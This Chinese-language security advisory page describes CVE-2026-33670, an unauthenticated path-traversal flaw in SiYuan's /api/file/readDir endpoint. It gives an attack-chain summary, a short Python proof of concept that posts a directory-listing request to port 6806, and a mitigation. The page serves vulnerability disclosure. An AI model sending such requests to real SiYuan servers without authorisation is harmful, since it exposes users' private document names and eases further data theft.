IPBUF安全漏洞报告
English
CVE-2026-33670 CVSS 9.8 严重

CVE-2026-33670 SiYuan路径遍历漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33670
漏洞类型
路径遍历
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SiYuan

相关标签

路径遍历信息泄露SiYuanCVE-2026-33670无需认证

漏洞概述

SiYuan(思源笔记)是一款个人知识管理系统。在3.6.2版本之前,其/api/file/readDir接口存在安全漏洞,允许攻击者遍历并检索笔记本下所有文档的文件名。该漏洞无需身份验证即可利用,可能导致敏感信息泄露。

技术细节

该漏洞源于SiYuan在3.6.2之前的版本中,/api/file/readDir接口未对请求进行严格的权限校验和路径限制。由于CVSS向量显示无需用户交互(UI:N)且无需权限(PR:N),远程攻击者可以通过构造特定的HTTP请求直接调用该API。利用该接口的目录遍历特性,攻击者能够递归列出服务器上指定笔记本目录下的所有文件和子目录名称。虽然描述主要提及文件名泄露,但获取文档结构信息可能为进一步的攻击提供便利。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器运行的是SiYuan知识管理系统,通常监听在6806端口。
STEP 2
漏洞利用
攻击者无需登录,直接向 /api/file/readDir 接口发送包含恶意路径参数的POST请求。
STEP 3
信息泄露
服务器响应请求,返回指定笔记本目录下的所有文件和文件夹列表。
STEP 4
后续影响
攻击者分析获取的文件结构,定位敏感文档,可能为进一步的数据窃取做准备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (default SiYuan port is 6806) target_url = "http://127.0.0.1:6806/api/file/readDir" # Headers (SiYuan typically expects JSON) headers = { "Content-Type": "application/json" } # Payload to list directory (example payload structure) # Adjust the payload based on actual API parameter requirements payload = { "path": "/", "notebook": "target_notebook_id" } try: # Send POST request to the vulnerable endpoint response = requests.post(target_url, json=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Vulnerability confirmed!") print("[+] Directory Listing:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

SiYuan < 3.6.2

防御指南

临时缓解措施
如果无法立即升级,建议通过防火墙或WAF规则拦截对 /api/file/readDir 接口的访问请求,并将SiYuan服务部署在内网环境中,避免直接暴露于公网。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表